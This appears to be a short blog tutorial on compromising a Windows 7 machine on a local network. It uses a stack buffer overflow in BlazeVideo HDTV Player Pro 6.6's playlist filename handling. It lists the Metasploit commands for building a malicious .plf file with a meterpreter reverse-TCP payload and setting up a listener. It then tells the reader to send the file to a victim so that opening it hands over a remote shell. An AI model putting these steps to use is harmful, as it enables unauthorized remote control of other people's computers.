Hack Windows 7 PC in LAN using Blaze Video HDTV Player Pro v6.6 Filename Handling Vulnerability

This module exploits a vulnerability found in BlazeVideo HDTV Player's filename handling routine. When supplying a string of input data embedded in a .plf file, the MediaPlayerCtrl.dll component will try to extract a filename by using PathFindFileNameA(), and then copies whatever the return value is on the stack by using an inline strcpy. As a result, if this input data is long enough, it can cause a stack-based buffer overflow, which may lead to arbitrary code execution under the context of the user.

Exploit Targets

BlazeVideo HDTV Player Pro v6.6.0.3

Requirement

Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/blazedvd_hdtv_bof

 msf exploit (blazedvd_hdtv_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (blazedvd_hdtv_bof)>set lhost 192.168.1.3 (IP of Local Host)

msf exploit (blazedvd_hdtv_bof)>exploit  

After we successfully generate the malicious playlist file File, it will stored on your local computer

/root/.msf4/local/msf.plf

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.3

exploit

Now send your msf.plf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

Categories: BackTrack 5 Tutorial